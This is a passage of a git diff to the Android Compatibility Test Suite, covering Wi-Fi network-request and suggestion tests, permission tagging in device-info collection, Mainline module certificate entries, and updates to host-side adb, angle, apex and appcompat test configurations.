diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/TestUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/TestUtils.java
index dadacd3..895c423 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/TestUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/TestUtils.java
@@ -101,6 +101,8 @@
     public static final int SCAN_RESULT_TYPE_PSK = 1;
 
     @IntDef(prefix = { "SCAN_RESULT_TYPE_" }, value = {
+            SCAN_RESULT_TYPE_OPEN,
+            SCAN_RESULT_TYPE_PSK,
     })
     @Retention(RetentionPolicy.SOURCE)
     public @interface ScanResultType {}
@@ -151,7 +153,7 @@
      * scan failed or if there are networks found.
      */
     public @Nullable ScanResult startScanAndFindAnyMatchingNetworkInResults(
-            @ScanResultType int type)
+            String ssid, @ScanResultType int type)
             throws InterruptedException {
         // Start scan and wait for new results.
         if (!startScanAndWaitForResults()) {
@@ -160,14 +162,14 @@
         // Filter results to find an open network.
         List<ScanResult> scanResults = mWifiManager.getScanResults();
         for (ScanResult scanResult : scanResults) {
-            if (!TextUtils.isEmpty(scanResult.SSID)
+            if (TextUtils.equals(ssid, scanResult.SSID)
                     && !TextUtils.isEmpty(scanResult.BSSID)
                     && doesScanResultMatchType(scanResult, type)) {
-                if (DBG) Log.v(TAG, "Found open network " + scanResult);
+                if (DBG) Log.v(TAG, "Found network " + scanResult);
                 return scanResult;
             }
         }
-        Log.e(TAG, "No open networks found in scan results");
+        Log.e(TAG, "No matching network found in scan results");
         return null;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkRequestTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkRequestTestCase.java
index 96f9547..75e5a42 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkRequestTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkRequestTestCase.java
@@ -92,6 +92,13 @@
             case NETWORK_SPECIFIER_SPECIFIC_SSID_BSSID:
                 configBuilder.setSsid(scanResult.SSID);
                 configBuilder.setBssid(MacAddress.fromString(scanResult.BSSID));
+                if (!mPsk.isEmpty()) {
+                    if (TestUtils.isScanResultForWpa2Network(scanResult)) {
+                        configBuilder.setWpa2Passphrase(mPsk);
+                    } else if (TestUtils.isScanResultForWpa3Network(scanResult)) {
+                        configBuilder.setWpa3Passphrase(mPsk);
+                    }
+                }
                 break;
             case NETWORK_SPECIFIER_PATTERN_SSID_BSSID:
                 String ssidPrefix = scanResult.SSID.substring(0, scanResult.SSID.length() - 1);
@@ -99,6 +106,13 @@
                 configBuilder.setSsidPattern(
                         new PatternMatcher(ssidPrefix, PatternMatcher.PATTERN_PREFIX));
                 configBuilder.setBssidPattern(MacAddress.fromString(scanResult.BSSID), bssidMask);
+                if (!mPsk.isEmpty()) {
+                    if (TestUtils.isScanResultForWpa2Network(scanResult)) {
+                        configBuilder.setWpa2Passphrase(mPsk);
+                    } else if (TestUtils.isScanResultForWpa3Network(scanResult)) {
+                        configBuilder.setWpa3Passphrase(mPsk);
+                    }
+                }
                 break;
             case NETWORK_SPECIFIER_UNAVAILABLE_SSID_BSSID:
                 String ssid = UNAVAILABLE_SSID;
@@ -110,6 +124,13 @@
                 }
                 configBuilder.setSsid(UNAVAILABLE_SSID);
                 configBuilder.setBssid(bssid);
+                if (!mPsk.isEmpty()) {
+                    if (TestUtils.isScanResultForWpa2Network(scanResult)) {
+                        configBuilder.setWpa2Passphrase(mPsk);
+                    } else if (TestUtils.isScanResultForWpa3Network(scanResult)) {
+                        configBuilder.setWpa3Passphrase(mPsk);
+                    }
+                }
                 break;
             case NETWORK_SPECIFIER_INVALID_CREDENTIAL:
                 configBuilder.setSsid(scanResult.SSID);
@@ -136,11 +157,14 @@
 
     @Override
     protected boolean executeTest() throws InterruptedException {
-        // Step: Scan and find any open network around.
-        if (DBG) Log.v(TAG, "Scan and find an open network");
+        if (mNetworkSpecifierType == NETWORK_SPECIFIER_INVALID_CREDENTIAL && mPsk.isEmpty()) {
+            setFailureReason(mContext.getString(R.string.wifi_status_need_psk));
+            return false;
+        }
+        // Step: Scan and find the network around.
+        if (DBG) Log.v(TAG, "Scan and find the network: " + mSsid);
         ScanResult testNetwork = mTestUtils.startScanAndFindAnyMatchingNetworkInResults(
-                mNetworkSpecifierType == NETWORK_SPECIFIER_INVALID_CREDENTIAL
-                        ? SCAN_RESULT_TYPE_PSK : SCAN_RESULT_TYPE_OPEN);
+                mSsid, mPsk.isEmpty() ? SCAN_RESULT_TYPE_OPEN : SCAN_RESULT_TYPE_PSK);
         if (testNetwork == null) {
             setFailureReason(mContext.getString(R.string.wifi_status_scan_failure));
             return false;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
index 3d5e07a..1a829f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
@@ -67,11 +67,11 @@
 
     private final Object mLock = new Object();
     private final ScheduledExecutorService mExecutorService;
-    private final List<WifiNetworkSuggestion> mNetworkSuggestions = new ArrayList<>();
     private final WifiNetworkSuggestion.Builder mNetworkSuggestionBuilder =
             new WifiNetworkSuggestion.Builder();
 
     private ConnectivityManager mConnectivityManager;
+    private List<WifiNetworkSuggestion> mNetworkSuggestions;
     private NetworkRequest mNetworkRequest;
     private CallbackUtils.NetworkCallback mNetworkCallback;
     private ConnectionStatusListener mConnectionStatusListener;
@@ -113,12 +113,21 @@
         if (mSetRequiresAppInteraction) {
             mNetworkSuggestionBuilder.setIsAppInteractionRequired(true);
         }
-        // Use a random password to simulate connection failure.
-        if (TestUtils.isScanResultForWpa2Network(scanResult)) {
-            mNetworkSuggestionBuilder.setWpa2Passphrase(mTestUtils.generateRandomPassphrase());
-        } else if (TestUtils.isScanResultForWpa3Network(scanResult)) {
-            mNetworkSuggestionBuilder.setWpa3Passphrase(mTestUtils.generateRandomPassphrase());
+        if (mSimulateConnectionFailure) {
+            // Use a random password to simulate connection failure.
+            if (TestUtils.isScanResultForWpa2Network(scanResult)) {
+                mNetworkSuggestionBuilder.setWpa2Passphrase(mTestUtils.generateRandomPassphrase());
+            } else if (TestUtils.isScanResultForWpa3Network(scanResult)) {
+                mNetworkSuggestionBuilder.setWpa3Passphrase(mTestUtils.generateRandomPassphrase());
+            }
+        } else if (!mPsk.isEmpty()) {
+            if (TestUtils.isScanResultForWpa2Network(scanResult)) {
+                mNetworkSuggestionBuilder.setWpa2Passphrase(mPsk);
+            } else if (TestUtils.isScanResultForWpa3Network(scanResult)) {
+                mNetworkSuggestionBuilder.setWpa3Passphrase(mPsk);
+            }
         }
+        mNetworkSuggestionBuilder.setIsMetered(false);
         return mNetworkSuggestionBuilder.build();
     }
 
@@ -172,10 +181,14 @@
 
     @Override
     protected boolean executeTest() throws InterruptedException {
-        // Step: Scan and find any open network around.
-        if (DBG) Log.v(TAG, "Scan and find a network");
+        if (mSimulateConnectionFailure && mPsk.isEmpty()) {
+            setFailureReason(mContext.getString(R.string.wifi_status_need_psk));
+            return false;
+        }
+        // Step: Scan and find the network around.
+        if (DBG) Log.v(TAG, "Scan and find the network: " + mSsid);
         ScanResult testNetwork = mTestUtils.startScanAndFindAnyMatchingNetworkInResults(
-                mSimulateConnectionFailure ? SCAN_RESULT_TYPE_PSK : SCAN_RESULT_TYPE_OPEN);
+                mSsid, mPsk.isEmpty() ? SCAN_RESULT_TYPE_OPEN : SCAN_RESULT_TYPE_PSK);
         if (testNetwork == null) {
             setFailureReason(mContext.getString(R.string.wifi_status_scan_failure));
             return false;
@@ -215,7 +228,7 @@
 
         // Step: Create a suggestion for the chosen open network depending on the type of test.
         WifiNetworkSuggestion networkSuggestion = createNetworkSuggestion(testNetwork);
-        mNetworkSuggestions.add(networkSuggestion);
+        mNetworkSuggestions = Arrays.asList(networkSuggestion);
 
         // Step: Add a network suggestions.
         if (DBG) Log.v(TAG, "Adding suggestion");
diff --git a/apps/CtsVerifierInstantApp/AndroidManifest.xml b/apps/CtsVerifierInstantApp/AndroidManifest.xml
index bb59c13..51a6df6b 100644
--- a/apps/CtsVerifierInstantApp/AndroidManifest.xml
+++ b/apps/CtsVerifierInstantApp/AndroidManifest.xml
@@ -17,11 +17,13 @@
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
                 <category android:name="android.intent.category.DEFAULT" />
-                <data android:host="instantapp.cts.android.com" android:scheme="http"/>
-                <data android:host="instantapp.cts.android.com" android:scheme="https"/>
+                <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+                     android:scheme="http"/>
+                <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+                     android:scheme="https"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                 android:value="http://instantapp.cts.android.com" />
+                 android:value="https://source.android.com/compatibility/cts/verifier-instant-apps" />
         </activity>
     </application>
 </manifest>
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 10364af..735b805 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -41,6 +41,9 @@
 @TargetApi(Build.VERSION_CODES.N)
 public class PackageDeviceInfo extends DeviceInfo {
 
+    private static final String PLATFORM = "android";
+    private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+
     private static final String PACKAGE = "package";
     private static final String NAME = "name";
     private static final String VERSION_NAME = "version_name";
@@ -56,6 +59,11 @@
     private static final String PERMISSION_PROTECTION = "protection_level";
     private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
 
+    private static final String PERMISSION_TYPE = "type";
+    private static final int PERMISSION_TYPE_SYSTEM = 1;
+    private static final int PERMISSION_TYPE_OEM = 2;
+    private static final int PERMISSION_TYPE_CUSTOM = 3;
+
     private static final String HAS_SYSTEM_UID = "has_system_uid";
 
     private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -86,13 +94,20 @@
 
         final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
 
+        // Platform permission data used to tag permissions information with sourcing information
+        final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
+        final Set<String> platformPermissions = new HashSet<String>();
+        for (PermissionInfo permission : platformInfo.permissions) {
+          platformPermissions.add(permission.name);
+        }
+
         store.startArray(PACKAGE);
         for (PackageInfo pkg : allPackages) {
             store.startGroup();
             store.addResult(NAME, pkg.packageName);
             store.addResult(VERSION_NAME, pkg.versionName);
 
-            collectPermissions(store, pm, pkg);
+            collectPermissions(store, pm, platformPermissions, pkg);
             collectionApplicationInfo(store, pm, pkg);
 
             store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -118,6 +133,7 @@
 
     private static void collectPermissions(DeviceInfoStore store,
                                            PackageManager pm,
+                                           Set<String> systemPermissions,
                                            PackageInfo pkg) throws IOException
     {
         store.startArray(REQUESTED_PERMISSIONS);
@@ -129,6 +145,21 @@
                     store.startGroup();
                     store.addResult(PERMISSION_NAME, permission);
                     writePermissionsDetails(pi, store);
+
+                    if (permission == null) continue;
+
+                    final boolean isPlatformPermission = systemPermissions.contains(permission);
+                    if (isPlatformPermission) {
+                      final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
+                      if (isAndroidPermission) {
+                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+                      } else {
+                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+                      }
+                    } else {
+                      store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+                    }
+
                     store.endGroup();
                 } catch (PackageManager.NameNotFoundException e) {
                     // ignore unrecognized permission and continue
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 3aa5dc5..70b3d08 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
index 37c33ae..8179ab4 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -32,9 +32,10 @@
     private Context mContext;
     private Object mTestObj;
 
-    public BusinessLogicDeviceExecutor(Context context, Object testObj) {
+    public BusinessLogicDeviceExecutor(Context context, Object testObj, List<String> redactionRegexes) {
         mContext = context;
         mTestObj = testObj;
+        mRedactionRegexes = redactionRegexes;
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index b22684a..6e71e10 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -75,7 +75,7 @@
         String testName = String.format("%s#%s", this.getClass().getName(), methodName);
         if (mBusinessLogic.hasLogicFor(testName)) {
             Log.i(TAG, "Finding business logic for test case: " + testName);
-            BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
+            BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this, mBusinessLogic.getRedactionRegexes());
             mBusinessLogic.applyLogicFor(testName, executor);
         } else {
             /* There are cases in which this is an acceptable outcome, and we do not want to fail.
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index 6e48bcc..fb18b06 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -19,6 +19,9 @@
  * Enum containing metadata for mainline modules.
  */
 public enum MainlineModule {
+
+    // Added in Q
+
     // Security
     MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
             true, ModuleType.APEX,
@@ -50,10 +53,6 @@
             "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
                     + ":F4:09:02:52:97"),
     // Consistency
-    TZDATA2("com.google.android.tzdata2",
-            true, ModuleType.APEX,
-            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
-                    + ":DA:C9:92:AB:E7"),
     NETWORK_STACK("com.google.android.networkstack",
             true, ModuleType.APK,
             "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
@@ -70,6 +69,61 @@
             true, ModuleType.APK,
             "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
                     + ":D5:FD:A0:33:0F"),
+
+    // Added in R
+
+    ADBD("com.google.android.adbd",
+            true, ModuleType.APEX,
+            "87:3D:4E:43:58:25:1A:25:1A:2D:9C:18:E1:55:09:45:21:88:A8:1E:FE:9A:83:9D:43:0D:E8"
+                    + ":D8:7E:C2:49:4C"),
+    NEURAL_NETWORKS("com.google.android.neuralnetworks",
+            true, ModuleType.APEX,
+            "6F:AB:D5:72:9A:90:02:6B:74:E4:87:79:8F:DF:10:BB:E3:6C:9E:6C:B7:A6:59:04:3C:D8:15"
+                    + ":61:6C:9E:60:50"),
+    CELL_BROADCAST("com.google.android.cellbroadcast",
+            true, ModuleType.APEX,
+            "A8:2C:84:7A:A3:9D:DA:19:A5:6C:9E:D3:56:50:1A:76:4F:BD:5D:C9:60:98:66:16:E3:1D:48"
+                    + ":EE:27:08:19:70"),
+    EXT_SERVICES("com.google.android.extservices",
+            true, ModuleType.APEX,
+            "10:89:F2:7C:85:6A:83:D4:02:6B:6A:49:97:15:4C:A1:70:9A:F6:93:27:C8:EF:9A:2D:1D:56"
+                    + ":AB:69:DE:07:0B"),
+    IPSEC("com.google.android.ipsec",
+            true, ModuleType.APEX,
+            "64:3D:3E:A5:B7:BF:22:E5:94:42:29:77:7C:4B:FF:C6:C8:44:14:64:4D:E0:4B:E4:90:37:57"
+                    + ":DE:83:CF:04:8B"),
+    MEDIA_PROVIDER("com.google.android.mediaprovider",
+            true, ModuleType.APEX,
+            "1A:61:93:09:6D:DC:81:58:72:45:EF:2C:07:33:73:6E:8E:FF:9D:E9:0E:51:27:4B:F8:23:AC"
+                    + ":F0:F7:49:00:A0"),
+    PERMISSION_CONTROLLER_APEX("com.google.android.permission",
+            true, ModuleType.APEX,
+            "69:AC:92:BF:BA:D5:85:4C:61:8E:AB:AE:85:7F:AB:0B:1A:65:19:44:E9:19:EA:3C:86:DB:D4"
+                    + ":07:04:1E:22:C1"),
+    SDK_EXTENSIONS("com.google.android.sdkext",
+            true, ModuleType.APEX,
+            "99:90:29:2B:22:11:D2:78:17:BF:5B:10:98:84:8F:68:44:53:37:16:2B:47:FF:D1:A0:8E:10"
+                    + ":CE:65:B1:CC:73"),
+    STATSD("com.google.android.os.statsd",
+            true, ModuleType.APEX,
+            "DA:FE:D6:20:A7:0C:98:05:A9:A2:22:04:55:6B:0E:94:E8:E3:4D:ED:F4:16:EC:58:92:C6:48"
+                    + ":86:53:39:B4:7B"),
+    TELEMETRY_TVP("com.google.mainline.telemetry",
+            true, ModuleType.APK,
+            "9D:AC:CC:AE:4F:49:5A:E6:DB:C5:8A:0E:C2:33:C6:E5:2D:31:14:33:AC:57:3C:4D:A1:C7:39"
+                    + ":DF:64:03:51:5D"),
+    TETHERING("com.google.android.tethering",
+            true, ModuleType.APEX,
+            "E5:3F:52:F4:14:15:0C:05:BA:E0:E4:CE:E2:07:3D:D0:0F:E6:44:66:1D:5F:9A:0F:BE:49:4A"
+                    + ":DC:07:F0:59:93"),
+    TZDATA2("com.google.android.tzdata2",
+            true, ModuleType.APEX,
+            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
+                    + ":DA:C9:92:AB:E7"),
+    WIFI("com.google.android.wifi",
+            false, ModuleType.APEX,
+            "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
+                    + ":FE:29:31:98:B1"),
     ;
 
     public final String packageName;
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
index 18bb7c6..eaba137 100644
--- a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
@@ -71,7 +71,7 @@
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getTargetContext();
-        mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
+        mExecutor = new BusinessLogicDeviceExecutor(mContext, this, new ArrayList<String>());
         // reset the instance variables tracking the method invoked and the args used
         mInvoked = null;
         mArgsUsed = null;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LocationModeSetter.java b/common/host-side/util-axt/src/com/android/compatibility/common/util/LocationModeSetter.java
similarity index 96%
rename from hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LocationModeSetter.java
rename to common/host-side/util-axt/src/com/android/compatibility/common/util/LocationModeSetter.java
index f5999bb..bb4e673 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LocationModeSetter.java
+++ b/common/host-side/util-axt/src/com/android/compatibility/common/util/LocationModeSetter.java
@@ -13,7 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package com.android.cts.devicepolicy;
+package com.android.compatibility.common.util;
 
 import com.android.tradefed.device.ITestDevice;
 
diff --git a/hostsidetests/adb/AndroidTest.xml b/hostsidetests/adb/AndroidTest.xml
index 46fcc98..3c429e7 100755
--- a/hostsidetests/adb/AndroidTest.xml
+++ b/hostsidetests/adb/AndroidTest.xml
@@ -1,5 +1,10 @@
 <?xml version="1.0" encoding="utf-8"?>
 <configuration description="Config for the CTS adb host tests">
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MinApiLevelModuleController">
+        <option name="min-api-level" value="30" />
+        <option name="api-level-prop" value="ro.product.first_api_level" />
+    </object>
+
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="bionic" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
diff --git a/hostsidetests/adb/OWNERS b/hostsidetests/adb/OWNERS
index c8d74a9..b07c3bb 100644
--- a/hostsidetests/adb/OWNERS
+++ b/hostsidetests/adb/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 1352
+jmgao@google.com
 include platform/system/core:/janitors/OWNERS
diff --git a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
index 29d718f..d5301d4 100644
--- a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
+++ b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
@@ -43,12 +43,33 @@
         return tf;
     }
 
+    // *** READ THIS IF YOUR DEVICE IS FAILING THIS TEST ***
+    // This test checks to see that Microsoft OS Descriptors are enabled on the adb USB interface,
+    // so that users don't have to install a specific driver for their device in order to use adb
+    // with it (and OEMs don't have to sign and host that driver).
+    //
+    // adbd exports Microsoft OS descriptors when setting up its endpoint descriptors, but the
+    // kernel requires that the OS descriptor functionality be enabled separately by writing "1" to
+    // the gadget's configfs file at /config/usb_gadget/g<N>/os_desc/use (where <N> is probably 1).
+    // To pass this test, you need to modify your USB HAL implementation to do this.
+    //
+    // See https://android.googlesource.com/platform/hardware/google/pixel/+/5c7c6d5edcbe04454eb9a40f947ac0a3045f64eb
+    // for the patch that enabled this on Pixel devices.
     public void testHasMsOsDescriptors() throws Exception {
         File check_ms_os_desc = copyResourceToTempFile("/check_ms_os_desc");
         check_ms_os_desc.setExecutable(true);
 
+        String serial = getDevice().getSerialNumber();
+        if (serial.startsWith("emulator-")) {
+            return;
+        }
+
+        if (getDevice().isAdbTcp()) { // adb over WiFi, no point checking it
+            return;
+        }
+
         ProcessBuilder pb = new ProcessBuilder(check_ms_os_desc.getAbsolutePath());
-        pb.environment().put("ANDROID_SERIAL", getDevice().getSerialNumber());
+        pb.environment().put("ANDROID_SERIAL", serial);
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 3125610..dac193f 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -22,7 +22,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts"
     ],
     libs: [
         "cts-tradefed",
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
index 508ce2d..fe33a37 100644
--- a/hostsidetests/angle/app/common/Android.bp
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -20,6 +20,5 @@
     test_suites: [
         "gts",
         "ats",
-        "mts"
     ],
 }
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index 1bfc779..9b2adb2 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -22,7 +22,6 @@
     test_suites: [
         "cts",
         "vts10",
-        "mts"
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 22f3c2f..fad514e8 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -24,7 +24,6 @@
     test_suites: [
         "cts",
         "vts10",
-        "mts"
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 081da9b..c2ca8bc 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -41,7 +41,9 @@
       || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
       || systemProduct.equals("aosp_arm64_ab")
       || systemProduct.equals("aosp_x86_ab")
-      || systemProduct.equals("aosp_x86_64_ab");
+      || systemProduct.equals("aosp_x86_64_ab")
+      || systemProduct.equals("aosp_tv_arm")
+      || systemProduct.equals("aosp_tv_arm64");
   }
 
   /**
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 07a51af1d..d637ff0 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -226,7 +226,8 @@
         StatsdConfigProto.StatsdConfig.Builder configBuilder =
                 StatsdConfigProto.StatsdConfig.newBuilder()
                         .setId(configId)
-                        .addAllowedLogSource(pkgName);
+                        .addAllowedLogSource(pkgName)
+                        .addWhitelistedAtomIds(Atom.APP_COMPATIBILITY_CHANGE_REPORTED_FIELD_NUMBER);
         StatsdConfigProto.SimpleAtomMatcher.Builder simpleAtomMatcherBuilder =
                 StatsdConfigProto.SimpleAtomMatcher
                         .newBuilder().setAtomId(
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index 3330014..57ee345 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -28,5 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index 65cc85d..9f984d6 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -18,10 +18,14 @@
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import com.google.common.collect.HashMultimap;
 import com.google.common.collect.ImmutableSet;
@@ -46,7 +50,11 @@
 import org.jf.dexlib2.iface.DexFile;
 import org.jf.dexlib2.iface.ClassDef;
 
-public class StrictJavaPackagesTest extends DeviceTestCase  {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StrictJavaPackagesTest extends BaseHostJUnit4Test  {
     private static final long ADB_TIMEOUT_MILLIS = 10000L;
     /**
      * This is the list of classes that are currently duplicated and should be addressed.
@@ -123,7 +131,9 @@
     /**
      * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH.
      */
+    @Test
     public void testBootclasspath_nonDuplicateClasses() throws Exception {
+        assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> bcpJarFiles = pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH");
             checkClassDuplicatesMatchWhitelist(bcpJarFiles, ImmutableSet.of());
@@ -133,7 +143,9 @@
     /**
      * Ensure that there are no duplicate classes among jars listed in SYSTEMSERVERCLASSPATH.
      */
+    @Test
     public void testSystemServerClasspath_nonDuplicateClasses() throws Exception {
+        assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> sscpJarFiles =
                 pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
@@ -145,7 +157,9 @@
      * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH and
      * SYSTEMSERVERCLASSPATH.
      */
+    @Test
